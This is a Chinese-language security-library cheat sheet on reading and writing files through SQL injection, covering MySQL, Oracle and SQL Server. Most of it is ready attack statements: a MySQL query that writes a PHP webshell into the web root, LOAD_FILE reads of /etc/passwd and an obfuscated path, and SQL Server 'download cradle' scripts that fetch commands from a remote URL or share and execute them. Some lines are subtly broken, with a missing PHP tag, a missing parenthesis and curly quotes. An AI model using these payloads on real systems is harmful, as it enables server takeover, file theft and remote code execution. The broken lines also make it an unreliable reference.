首页>安全文库>SQL注入>SQL注入读写文件

SQL注入读写文件

读取和写入文件有助于信息收集。包括写入webshell,或允许数据通过80/443端口传输。

MySQL

*需要特权用户

描述语句
转储到文件SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’
写入 PHP Shell 到文件SELECT ‘system($_GET[‘c’]); ?>’ INTO OUTFILE ‘/var/www/shell.php’
读文件SELECT LOAD_FILE(‘/etc/passwd’)
读取混淆的文件SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
reads c:\boot.ini
文件权限SELECT file_priv FROM mysql.user WHERE user = ‘netspi’
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%netspi%’

Oracle

有时可以使用UTL_FILE。检查以下是否为非null

SELECT value FROM v$parameter2 WHERE name = 'utl_file_dir';

如果安装了Java(Oracle Express中不可用),可用于读取和写入文件。

SQL Server

*需要特权用户

描述语句
在服务器中下载Cradle bulk – TSQL— Bulk Insert – Download Cradle Example
— Setup variables Declare @cmd varchar(8000)
— Create temp table
CREATE TABLE #file (content nvarchar(4000));
— Read file into temp table – web server must support propfind

BULK INSERT #file FROM ‘\sharepoint.acme.com@SSL\Path\to\file.txt’;
— Select contents of file

SELECT @cmd = content FROM #file
— Display command

SELECT @cmd
— Run command

EXECUTE(@cmd)
— Drop the temp table

DROP TABLE #file
下载Cradle OAP 1 – SQL
— OLE Automation Procedure – Download Cradle Example
— Does not require a table, but can’t handle larger payloads

— Note: This also works with unc paths \\ip\file.txt
— Note: This also works with webdav paths \ip@80\file.txt However, the target web server needs to support propfind.

— Setup Variables
DECLARE @url varchar(300)
DECLARE @WinHTTP int
DECLARE @handle int
DECLARE @Command varchar(8000

— Set target url containting TSQL
SET @url = ‘http://127.0.0.1/mycmd.txt’

— Setup namespace
EXEC @handle=sp_OACreate ‘WinHttp.WinHttpRequest.5.1’,@WinHTTP OUT

— Call the Open method to setup the HTTP request
EXEC @handle=sp_OAMethod @WinHTTP, ‘Open’,NULL,’GET’,@url,’false’

— Call the Send method to send the HTTP GET request
EXEC @handle=sp_OAMethod @WinHTTP,’Send’

— Capture the HTTP response content
EXEC @handle=sp_OAGetProperty @WinHTTP,’ResponseText’, @Command out

— Destroy the object
EXEC @handle=sp_OADestroy @WinHTTP

— Display command
SELECT @Command

— Run command
EXECUTE (@Command)
下载Cradle OAP 2 – TSQL
— OLE Automation Procedure – Download Cradle Example – Option 2
— Can handle larger payloads, but requires a table

— Note: This also works with unc paths \ip\file.txt
— Note: This also works with webdav paths \ip@80\file.txt However, the target web server needs to support propfind.

— Setup Variables
DECLARE @url varchar(300)
DECLARE @WinHTTP int
DECLARE @Handle int
DECLARE @Command varchar(8000)

— Set target url containting TSQL
SET @url = ‘http://127.0.0.1/mycmd.txt’

— Create temp table to store downloaded string
CREATE TABLE #text(html text NULL)

— Setup namespace
EXEC @Handle=sp_OACreate ‘WinHttp.WinHttpRequest.5.1’,@WinHTTP OUT

— Call open method to configure HTTP request
EXEC @Handle=sp_OAMethod @WinHTTP, ‘Open’,NULL,’GET’,@url,’false’

— Call Send method to send the HTTP request
EXEC @Handle=sp_OAMethod @WinHTTP,’Send’

— Capture the HTTP response content
INSERT #text(html)
EXEC @Handle=sp_OAGetProperty @WinHTTP,’ResponseText’

— Destroy the object
EXEC @Handle=sp_OADestroy @WinHTTP

— Display the commad
SELECT @Command = html from #text
SELECT @Command

— Run the command
EXECUTE (@Command)

— Remove temp table
DROP TABLE #text
读取文件 – TSQLhttps://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenDataSourceTxt.sql
https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_BulkInsert.sql
https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenDataSourceXlsx
https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetBulk.sql
https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetTxt.sql
https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetXlsx.sql
写文件 – TSQLhttps://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/writefile_bulkinsert.sql
https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/writefile_OpenRowSetTxt.sql

文章最后更新于 2021-09-22
0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索